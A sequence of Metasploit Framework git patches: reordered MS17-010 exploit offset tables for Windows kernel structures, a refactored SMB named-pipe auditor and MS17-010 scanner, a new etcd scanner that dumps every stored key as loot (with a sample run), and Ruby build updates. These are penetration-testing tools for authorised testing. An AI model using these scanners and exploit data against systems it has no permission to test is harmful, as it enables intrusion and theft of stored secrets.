WIN2K_32_SESSION_INFO = { + 'SESSION_ISNULL_OFFSET'=> 0x94, + 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed + 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, + 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c, + 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58, + } - # win xp - WINXP_32_SESSION_INFO = { - 'SESSION_ISNULL_OFFSET'=> 0x94, - 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed - 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, - 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x4c, - 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x68, - 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'=> 0x40, - 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'=> 0x5c, - } + # for windows 2008+ + WIN7_32_TRANS_INFO = { + 'TRANS_SIZE' => 0xa0, # struct size + 'TRANS_FLINK_OFFSET' => 0x18, + 'TRANS_INPARAM_OFFSET' => 0x40, + 'TRANS_OUTPARAM_OFFSET' => 0x44, + 'TRANS_INDATA_OFFSET' => 0x48, + 'TRANS_OUTDATA_OFFSET' => 0x4c, + 'TRANS_PARAMCNT_OFFSET' => 0x58, + 'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c, + 'TRANS_FUNCTION_OFFSET' => 0x72, + 'TRANS_MID_OFFSET' => 0x80, + } - WIN2K_32_SESSION_INFO = { - 'SESSION_ISNULL_OFFSET'=> 0x94, - 'SESSION_SECCTX_OFFSET'=> 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed - 'PCTXTHANDLE_TOKEN_OFFSET'=> 0x24, - 'TOKEN_USER_GROUP_CNT_OFFSET'=> 0x3c, - 'TOKEN_USER_GROUP_ADDR_OFFSET'=> 0x58, - } + WIN7_64_TRANS_INFO = { + 'TRANS_SIZE' => 0xf8, # struct size + 'TRANS_FLINK_OFFSET' => 0x28, + 'TRANS_INPARAM_OFFSET' => 0x70, + 'TRANS_OUTPARAM_OFFSET' => 0x78, + 'TRANS_INDATA_OFFSET' => 0x80, + 'TRANS_OUTDATA_OFFSET' => 0x88, + 'TRANS_PARAMCNT_OFFSET' => 0x98, + 'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c, + 'TRANS_FUNCTION_OFFSET' => 0xb2, + 'TRANS_MID_OFFSET' => 0xc0, + } - # for windows 2008+ - WIN7_32_TRANS_INFO = { - 'TRANS_SIZE' => 0xa0, # struct size - 'TRANS_FLINK_OFFSET' => 0x18, - 'TRANS_INPARAM_OFFSET' => 0x40, - 'TRANS_OUTPARAM_OFFSET' => 0x44, - 'TRANS_INDATA_OFFSET' => 0x48, - 'TRANS_OUTDATA_OFFSET' => 0x4c, - 'TRANS_PARAMCNT_OFFSET' => 0x58, - 'TRANS_TOTALPARAMCNT_OFFSET' => 0x5c, - 'TRANS_FUNCTION_OFFSET' => 0x72, - 'TRANS_MID_OFFSET' => 0x80, - } + WIN5_32_TRANS_INFO = { + 'TRANS_SIZE' => 0x98, # struct size + 'TRANS_FLINK_OFFSET' => 0x18, + 'TRANS_INPARAM_OFFSET' => 0x3c, + 'TRANS_OUTPARAM_OFFSET' => 0x40, + 'TRANS_INDATA_OFFSET' => 0x44, + 'TRANS_OUTDATA_OFFSET' => 0x48, + 'TRANS_PARAMCNT_OFFSET' => 0x54, + 'TRANS_TOTALPARAMCNT_OFFSET' => 0x58, + 'TRANS_FUNCTION_OFFSET' => 0x6e, + 'TRANS_PID_OFFSET' => 0x78, + 'TRANS_MID_OFFSET' => 0x7c, + } - WIN7_64_TRANS_INFO = { - 'TRANS_SIZE' => 0xf8, # struct size - 'TRANS_FLINK_OFFSET' => 0x28, - 'TRANS_INPARAM_OFFSET' => 0x70, - 'TRANS_OUTPARAM_OFFSET' => 0x78, - 'TRANS_INDATA_OFFSET' => 0x80, - 'TRANS_OUTDATA_OFFSET' => 0x88, - 'TRANS_PARAMCNT_OFFSET' => 0x98, - 'TRANS_TOTALPARAMCNT_OFFSET' => 0x9c, - 'TRANS_FUNCTION_OFFSET' => 0xb2, - 'TRANS_MID_OFFSET' => 0xc0, - } + WIN5_64_TRANS_INFO = { + 'TRANS_SIZE' => 0xe0, # struct size + 'TRANS_FLINK_OFFSET' => 0x28, + 'TRANS_INPARAM_OFFSET' => 0x68, + 'TRANS_OUTPARAM_OFFSET' => 0x70, + 'TRANS_INDATA_OFFSET' => 0x78, + 'TRANS_OUTDATA_OFFSET' => 0x80, + 'TRANS_PARAMCNT_OFFSET' => 0x90, + 'TRANS_TOTALPARAMCNT_OFFSET' => 0x94, + 'TRANS_FUNCTION_OFFSET' => 0xaa, + 'TRANS_PID_OFFSET' => 0xb4, + 'TRANS_MID_OFFSET' => 0xb8, + } - WIN5_32_TRANS_INFO = { - 'TRANS_SIZE' => 0x98, # struct size - 'TRANS_FLINK_OFFSET' => 0x18, - 'TRANS_INPARAM_OFFSET' => 0x3c, - 'TRANS_OUTPARAM_OFFSET' => 0x40, - 'TRANS_INDATA_OFFSET' => 0x44, - 'TRANS_OUTDATA_OFFSET' => 0x48, - 'TRANS_PARAMCNT_OFFSET' => 0x54, - 'TRANS_TOTALPARAMCNT_OFFSET' => 0x58, - 'TRANS_FUNCTION_OFFSET' => 0x6e, - 'TRANS_PID_OFFSET' => 0x78, - 'TRANS_MID_OFFSET' => 0x7c, - } + X86_INFO = { + 'ARCH' => 'x86', + 'PTR_SIZE' => 4, + 'PTR_FMT' => 'V', + 'FRAG_TAG_OFFSET' => 12, + 'POOL_ALIGN' => 8, + 'SRV_BUFHDR_SIZE' => 8, + } - WIN5_64_TRANS_INFO = { - 'TRANS_SIZE' => 0xe0, # struct size - 'TRANS_FLINK_OFFSET' => 0x28, - 'TRANS_INPARAM_OFFSET' => 0x68, - 'TRANS_OUTPARAM_OFFSET' => 0x70, - 'TRANS_INDATA_OFFSET' => 0x78, - 'TRANS_OUTDATA_OFFSET' => 0x80, - 'TRANS_PARAMCNT_OFFSET' => 0x90, - 'TRANS_TOTALPARAMCNT_OFFSET' => 0x94, - 'TRANS_FUNCTION_OFFSET' => 0xaa, - 'TRANS_PID_OFFSET' => 0xb4, - 'TRANS_MID_OFFSET' => 0xb8, - } + X64_INFO = { + 'ARCH' => 'x64', + 'PTR_SIZE' => 8, + 'PTR_FMT' => 'Q<', + 'FRAG_TAG_OFFSET' => 0x14, + 'POOL_ALIGN' => 0x10, + 'SRV_BUFHDR_SIZE' => 0x10, + } - X86_INFO = { - 'ARCH' => 'x86', - 'PTR_SIZE' => 4, - 'PTR_FMT' => 'V', - 'FRAG_TAG_OFFSET' => 12, - 'POOL_ALIGN' => 8, - 'SRV_BUFHDR_SIZE' => 8, - } - - X64_INFO = { - 'ARCH' => 'x64', - 'PTR_SIZE' => 8, - 'PTR_FMT' => 'Q<', - 'FRAG_TAG_OFFSET' => 0x14, - 'POOL_ALIGN' => 0x10, - 'SRV_BUFHDR_SIZE' => 0x10, - } - - OS_ARCH_INFO = { - # for Windows Vista, 2008, 7 and 2008 R2 - 'WIN7' => { - 'x86' => { - 'CPUARCH' => X86_INFO, - 'OFFSETS' => WIN7_32_TRANS_INFO, - 'SESSION' => WIN7_32_SESSION_INFO - }, - 'x64' => { - 'CPUARCH' => X64_INFO, - 'OFFSETS' => WIN7_64_TRANS_INFO, - 'SESSION' => WIN7_64_SESSION_INFO - }, + OS_ARCH_INFO = { + # for Windows Vista, 2008, 7 and 2008 R2 + 'WIN7' => { + 'x86' => { + 'CPUARCH' => X86_INFO, + 'OFFSETS' => WIN7_32_TRANS_INFO, + 'SESSION' => WIN7_32_SESSION_INFO }, - # for Windows 8 and later - 'WIN8' => { - 'x86' => { - 'CPUARCH' => X86_INFO, - 'OFFSETS' => WIN7_32_TRANS_INFO, - 'SESSION' => WIN8_32_SESSION_INFO - }, - 'x64' => { - 'CPUARCH' => X64_INFO, - 'OFFSETS' => WIN7_64_TRANS_INFO, - 'SESSION' => WIN8_64_SESSION_INFO - }, + 'x64' => { + 'CPUARCH' => X64_INFO, + 'OFFSETS' => WIN7_64_TRANS_INFO, + 'SESSION' => WIN7_64_SESSION_INFO }, - 'WINXP' => { - 'x86' => { - 'CPUARCH' => X86_INFO, - 'OFFSETS' => WIN5_32_TRANS_INFO, - 'SESSION' => WINXP_32_SESSION_INFO - }, - 'x64' => { - 'CPUARCH' => X64_INFO, - 'OFFSETS' => WIN5_64_TRANS_INFO, - 'SESSION' => WIN2K3_64_SESSION_INFO - }, + }, + # for Windows 8 and later + 'WIN8' => { + 'x86' => { + 'CPUARCH' => X86_INFO, + 'OFFSETS' => WIN7_32_TRANS_INFO, + 'SESSION' => WIN8_32_SESSION_INFO }, - 'WIN2K3' => { - 'x86' => { - 'CPUARCH' => X86_INFO, - 'OFFSETS' => WIN5_32_TRANS_INFO, - 'SESSION' => WIN2K3_32_SESSION_INFO - }, - 'x64' => { - 'CPUARCH' => X64_INFO, - 'OFFSETS' => WIN5_64_TRANS_INFO, - 'SESSION' => WIN2K3_64_SESSION_INFO - }, + 'x64' => { + 'CPUARCH' => X64_INFO, + 'OFFSETS' => WIN7_64_TRANS_INFO, + 'SESSION' => WIN8_64_SESSION_INFO }, - 'WIN2K' => { - 'x86' => { - 'CPUARCH' => X86_INFO, - 'OFFSETS' => WIN5_32_TRANS_INFO, - 'SESSION' => WIN2K_32_SESSION_INFO - }, + }, + 'WINXP' => { + 'x86' => { + 'CPUARCH' => X86_INFO, + 'OFFSETS' => WIN5_32_TRANS_INFO, + 'SESSION' => WINXP_32_SESSION_INFO }, - } + 'x64' => { + 'CPUARCH' => X64_INFO, + 'OFFSETS' => WIN5_64_TRANS_INFO, + 'SESSION' => WIN2K3_64_SESSION_INFO + }, + }, + 'WIN2K3' => { + 'x86' => { + 'CPUARCH' => X86_INFO, + 'OFFSETS' => WIN5_32_TRANS_INFO, + 'SESSION' => WIN2K3_32_SESSION_INFO + }, + 'x64' => { + 'CPUARCH' => X64_INFO, + 'OFFSETS' => WIN5_64_TRANS_INFO, + 'SESSION' => WIN2K3_64_SESSION_INFO + }, + }, + 'WIN2K' => { + 'x86' => { + 'CPUARCH' => X86_INFO, + 'OFFSETS' => WIN5_32_TRANS_INFO, + 'SESSION' => WIN2K_32_SESSION_INFO + }, + }, + } - def pick_ctx() - pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']] - @ctx = @ctx.merge(pick['CPUARCH']) - @ctx = @ctx.merge(pick['OFFSETS']) - @ctx = @ctx.merge(pick['SESSION']) - @ctx - end + def pick_ctx() + pick = OS_ARCH_INFO[@ctx['os']][@ctx['arch']] + @ctx = @ctx.merge(pick['CPUARCH']) + @ctx = @ctx.merge(pick['OFFSETS']) + @ctx = @ctx.merge(pick['SESSION']) + @ctx + end + GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid + TRANS_NAME_LEN = 4 - GROOM_TRANS_SIZE = 0x5010 # includes transaction name, parameters and data, multiple of 16 to make FRAG_TAG_OFFSET valid - TRANS_NAME_LEN = 4 + X64_FRAG_TAG_OFFSET = 0x14 + X64_POOL_ALIGN = 0x10 - X64_FRAG_TAG_OFFSET = 0x14 - X64_POOL_ALIGN = 0x10 - - X86_FRAG_TAG_OFFSET = 0x0c - X86_POOL_ALIGN = 0x08 + X86_FRAG_TAG_OFFSET = 0x0c + X86_POOL_ALIGN = 0x08 end - end From e4c026fffd73183a53c908ffc40b977257311e43 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 22 Mar 2018 06:41:58 -0500 Subject: [PATCH 072/105] Update pipe_auditor module with PipeAuditor mixin --- modules/auxiliary/scanner/smb/pipe_auditor.rb | 43 +++---------------- 1 file changed, 5 insertions(+), 38 deletions(-) diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index dbecf03c16..7bd4389eca 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Remote::SMB::Client::PipeAuditor # Scanner mixin should be near last include Msf::Auxiliary::Scanner @@ -24,34 +25,6 @@ class MetasploitModule < Msf::Auxiliary deregister_options('RPORT') end - @@target_pipes = [ - 'netlogon', - 'lsarpc', - 'samr', - 'browser', - 'atsvc', - 'DAV RPC SERVICE', - 'epmapper', - 'eventlog', - 'InitShutdown', - 'keysvc', - 'lsass', - 'LSM_API_service', - 'ntsvcs', - 'plugplay', - 'protected_storage', - 'router', - 'SapiServerPipeS-1-5-5-0-70123', - 'scerpc', - 'srvsvc', - 'tapsrv', - 'trkwks', - 'W32TIME_ALT', - 'wkssvc', - 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', - 'db2remotecmd' - ] - # Fingerprint a single host def run_host(ip) @@ -65,14 +38,8 @@ class MetasploitModule < Msf::Auxiliary begin connect() smb_login() - @@target_pipes.each do |pipe| - begin - fid = smb_create("\\#{pipe}") - #print_status("Opened pipe \\#{pipe}") - pass.push(pipe) - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - #print_error("Could not open \\#{pipe}: Error 0x%.8x" % e.error_code) - end + check_named_pipes.each do |pipe_name, _| + pass.push(pipe_name) end disconnect() @@ -85,14 +52,14 @@ class MetasploitModule < Msf::Auxiliary end if(pass.length > 0) - print_status("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") + print_good("Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") # Add Report report_note( :host => ip, :proto => 'tcp', :sname => 'smb', :port => rport, - :type => 'Pipes Founded', + :type => 'Pipes Found', :data => "Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}" ) end From 09cb4a52df1b822f3040990ddb56e49e3bc9728c Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 22 Mar 2018 06:43:01 -0500 Subject: [PATCH 073/105] Update smb_ms17_010 scanner with PipeAuditor mixin --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 34 ++++++++++++------- 1 file changed, 21 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index 0553db88a7..0df736cc2d 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -5,9 +5,9 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Client::PipeAudit include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Remote::SMB::Client::PipeAuditor include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -52,8 +52,9 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]), - OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true]) + OptBool.new('CHECK_DOPU', [false, 'Check for DOUBLEPULSAR on vulnerable hosts', true]), + OptBool.new('CHECK_ARCH', [false, 'Check for architecture on vulnerable hosts', true]), + OptBool.new('CHECK_PIPE', [false, 'Check for named pipe on vulnerable hosts', false]) ]) end @@ -91,16 +92,6 @@ class MetasploitModule < Msf::Auxiliary end print_good("Host is likely VULNERABLE to MS17-010! - #{os}") - accessible_pipes , pipe_handlers = connect_to_pipe() - p_pipes = "" - if accessible_pipes.count != 0 - accessible_pipes.each do |a_pipe| - p_pipes += ", #{a_pipe}" - end - print_good("Following accessible named pipe(s) found: #{p_pipes}") - else - print_status("No accessible named pipes found on the target") - end report_vuln( host: ip, name: self.name, @@ -124,6 +115,23 @@ class MetasploitModule < Msf::Auxiliary ) end end + + if datastore['CHECK_PIPE'] + pipe_name, _ = check_named_pipes(return_first: true) + + return unless pipe_name + + print_good("Named pipe found: #{pipe_name}") + + report_note( + host: ip, + port: rport, + proto: 'tcp', + sname: 'smb', + type: 'MS17-010 Named Pipe', + data: pipe_name + ) + end elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE" # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others) print_error("Host does NOT appear vulnerable.") From d739a9a0574a7f6045ce18e84d9606729d064aca Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 25 Mar 2018 13:54:55 -0400 Subject: [PATCH 074/105] working etcd scanner --- .../scanner/etcd/open_key_scanner.rb | 61 +++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 modules/auxiliary/scanner/etcd/open_key_scanner.rb diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb new file mode 100644 index 0000000000..e688e0729d --- /dev/null +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -0,0 +1,61 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Etcd Keys API Information Gathering', + 'Description' => %q{ + This module queries the etcd API to recursively retrieve all of the stored + key value pairs. Etcd by default does not utilize authentication. + }, + 'References' => [ + ['URL', 'https://elweb.co/the-security-footgun-in-etcd'] + ], + 'Author' => [ + 'Giovanni Collazo', # discovery + 'h00die' # msf module + ], + 'License' => MSF_LICENSE + ) + + register_options([ + Opt::RPORT(2379), + OptString.new('TARGETURI', [ true, 'URI of the vulnerable service', '/v2/keys/?recursive=true']) + ]) + end + + def run_host(target_host) + path = normalize_uri(target_uri.to_s) + + vprint_status("#{peer} - Collecting data through #{path}...") + res = send_request_raw({ + 'uri' => path, + 'method' => 'GET' + }) + + # do a read the json if we got a good request back + if res and res.code == 200 + begin + response = res.get_json_document + store_loot('etcd.data', 'text/plain', rhost, response, 'etcd.keys', 'etcd keys') + report_service({ + :host => rhost, + :port => rport, + :name => 'etcd', + :info => "Unauthenticated access through #{ssl ? 'https' : 'http'}://#{peer}#{path}" + }) + rescue JSON::ParserError => e + print_error("Failed to read JSON: #{e.class} - #{e.message}}") + return + end + print_good(JSON.pretty_generate(response)) + end + end +end From e462cb49a24818519dd43e4d665dd4fee2874628 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 25 Mar 2018 14:53:30 -0400 Subject: [PATCH 075/105] updated docs --- .../scanner/etcd/open_key_scanner.md | 65 +++++++++++++++++++ .../scanner/etcd/open_key_scanner.rb | 21 ++++-- 2 files changed, 81 insertions(+), 5 deletions(-) create mode 100644 documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md diff --git a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md new file mode 100644 index 0000000000..af82d04ee5 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md @@ -0,0 +1,65 @@ +## Vulnerable Application + +etcd is a distributed reliable key-value store, which when used in an open and default configuration gives +unauthenticated users access to the data stored via HTTP API. + +### Centos 7.1 + + 1. `yum install etcd` + 2. `vi /etc/etcd/etcd.conf` replace (and uncomment) items with `localhost` for your IP. + 3. `systemctl start etcd; systemctl enable etcd` + 4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld` + 5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"` + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use auxiliary/scanner/etcd/open_key_scanner``` + 4. Do: ```set rhosts [IPs]``` + 5. Do: ```run``` + 6. You should get a JSON response, and the data saved to `loot`. + +## Scenarios + +### etcd 3.2.15 on CentOS 7.1 + +``` +msf5 > use auxiliary/scanner/etcd/open_key_scanner +msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 192.168.2.248 +rhosts => 192.168.2.248 +msf5 auxiliary(scanner/etcd/open_key_scanner) > run + +[+] { + "action": "get", + "node": { + "dir": true, + "nodes": [ + { + "key": "/supersecret", + "value": "password", + "modifiedIndex": 6, + "createdIndex": 6 + } + ] + } +} +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/etcd/open_key_scanner) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +192.168.2.248 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_192.168.2.248_etcd.data_425280.txt + +msf5 auxiliary(scanner/etcd/open_key_scanner) > services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +192.168.2.248 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} +``` diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb index e688e0729d..07ba236035 100644 --- a/modules/auxiliary/scanner/etcd/open_key_scanner.rb +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary ['URL', 'https://elweb.co/the-security-footgun-in-etcd'] ], 'Author' => [ - 'Giovanni Collazo', # discovery + 'Giovanni Collazo ', # discovery 'h00die' # msf module ], 'License' => MSF_LICENSE @@ -27,12 +27,12 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(2379), - OptString.new('TARGETURI', [ true, 'URI of the vulnerable service', '/v2/keys/?recursive=true']) + OptString.new('TARGETURI', [ true, 'URI of the vulnerable service', '/']) ]) end def run_host(target_host) - path = normalize_uri(target_uri.to_s) + path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true') vprint_status("#{peer} - Collecting data through #{path}...") res = send_request_raw({ @@ -40,16 +40,27 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'GET' }) - # do a read the json if we got a good request back + # parse the json if we got a good request back if res and res.code == 200 begin response = res.get_json_document store_loot('etcd.data', 'text/plain', rhost, response, 'etcd.keys', 'etcd keys') + + # since we know its vulnerable, go ahead and pull the version information + res = send_request_raw({ + 'uri' => normalize_uri(target_uri.to_s, 'version'), + 'method' => 'GET' + }) + banner = '' + if res and res.code == 200 + banner = res.body + end + report_service({ :host => rhost, :port => rport, :name => 'etcd', - :info => "Unauthenticated access through #{ssl ? 'https' : 'http'}://#{peer}#{path}" + :info => banner }) rescue JSON::ParserError => e print_error("Failed to read JSON: #{e.class} - #{e.message}}") From 38af667094c14ba647a16dc779fb68684f765d34 Mon Sep 17 00:00:00 2001 From: andrea Date: Wed, 21 Feb 2018 12:46:40 -0600 Subject: [PATCH 076/105] Support for Ruby 2.5.0 fixing OpenSSL warnings --- lib/msf/core/opt.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 33e1beed32..2064edb094 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -51,7 +51,7 @@ module Msf end def self.ssl_supported_options - @m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \ + @m ||= ['Auto', 'TLS'] + [:TLSv1_2, :TLSv1_1, :TLSv1, :SSLv3, :SSLv23, :SSLv2] \ .select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \ .select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \ .map{|m| m.to_s.sub(/v/, '').sub('_', '.')} From d67ae503bf547f33564b2547d924e8b925ac3c6c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 26 Mar 2018 02:52:52 -0500 Subject: [PATCH 077/105] Update base to Ruby 2.5 mask metasploit-aggregator and dependencies on Ruby 2.5 --- .ruby-version | 2 +- Gemfile | 9 ++++++--- Gemfile.lock | 34 ---------------------------------- 3 files changed, 7 insertions(+), 38 deletions(-) diff --git a/.ruby-version b/.ruby-version index 35cee72dcb..437459cd94 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.4.3 +2.5.0 diff --git a/Gemfile b/Gemfile index 2b48e2087f..b7231479e0 100755 --- a/Gemfile +++ b/Gemfile @@ -22,15 +22,18 @@ group :development do gem 'metasploit-aggregator' if [ 'x86-mingw32', 'x64-mingw32', 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) + 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ + Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') gem 'google-protobuf', "3.5.1" if [ 'x86-mingw32', 'x64-mingw32', 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) + 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ + Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') gem 'grpc', "1.8.3" if [ 'x86-mingw32', 'x64-mingw32', 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) + 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ + Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index b47d670124..66e9aba0f8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -133,40 +133,16 @@ GEM multipart-post (>= 1.2, < 3) filesize (0.1.1) fivemat (1.3.6) - google-protobuf (3.5.1) - googleapis-common-protos-types (1.0.1) - google-protobuf (~> 3.0) - googleauth (0.6.2) - faraday (~> 0.12) - jwt (>= 1.4, < 3.0) - logging (~> 2.0) - memoist (~> 0.12) - multi_json (~> 1.11) - os (~> 0.9) - signet (~> 0.7) - grpc (1.8.3) - google-protobuf (~> 3.1) - googleapis-common-protos-types (~> 1.0.0) - googleauth (>= 0.5.1, < 0.7) hashery (2.1.2) i18n (0.9.5) concurrent-ruby (~> 1.0) jsobfu (0.4.2) rkelly-remix json (2.1.0) - jwt (2.1.0) - little-plugger (1.1.4) - logging (2.2.2) - little-plugger (~> 1.1) - multi_json (~> 1.10) loofah (2.2.2) crass (~> 1.0.2) nokogiri (>= 1.5.9) - memoist (0.16.0) metasm (1.0.3) - metasploit-aggregator (1.0.0) - grpc - rex-arch metasploit-concern (2.0.5) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -201,7 +177,6 @@ GEM minitest (5.11.3) mqtt (0.5.0) msgpack (1.2.4) - multi_json (1.13.1) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.2.0) @@ -213,7 +188,6 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - os (0.9.6) packetfu (1.1.13) pcaprub patch_finder (1.0.2) @@ -338,11 +312,6 @@ GEM sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) - signet (0.8.1) - addressable (~> 2.3) - faraday (~> 0.9) - jwt (>= 1.5, < 3.0) - multi_json (~> 1.10) simplecov (0.16.1) docile (~> 1.1) json (>= 1.8, < 3) @@ -380,9 +349,6 @@ PLATFORMS DEPENDENCIES factory_girl_rails fivemat - google-protobuf (= 3.5.1) - grpc (= 1.8.3) - metasploit-aggregator metasploit-framework! octokit pry From 3fb5137c2d535e365d8c93229942066729bba3ab Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 26 Mar 2018 03:40:49 -0500 Subject: [PATCH 078/105] use Rex::Socket::SslTcp.supported_ssl_methods for SSLVersion option --- Gemfile.lock | 2 +- lib/msf/core/opt.rb | 9 +-------- 2 files changed, 2 insertions(+), 9 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 66e9aba0f8..30df11481c 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -267,7 +267,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.12) + rex-socket (0.1.13) rex-core rex-sslscan (0.1.5) rex-core diff --git a/lib/msf/core/opt.rb b/lib/msf/core/opt.rb index 2064edb094..53327c9d1e 100644 --- a/lib/msf/core/opt.rb +++ b/lib/msf/core/opt.rb @@ -50,18 +50,11 @@ module Msf Msf::OptPort.new(__method__.to_s, [ required, desc, default ]) end - def self.ssl_supported_options - @m ||= ['Auto', 'TLS'] + [:TLSv1_2, :TLSv1_1, :TLSv1, :SSLv3, :SSLv23, :SSLv2] \ - .select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \ - .select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \ - .map{|m| m.to_s.sub(/v/, '').sub('_', '.')} - end - # @return [OptEnum] def self.SSLVersion Msf::OptEnum.new('SSLVersion', 'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', - enums: self.ssl_supported_options + enums: Rex::Socket::SslTcp.supported_ssl_methods ) end From d0fa550cfdab35822d4c828a0fc0ea947046499f Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 26 Mar 2018 03:42:13 -0500 Subject: [PATCH 079/105] bump travis, 2.2 is EOL --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml 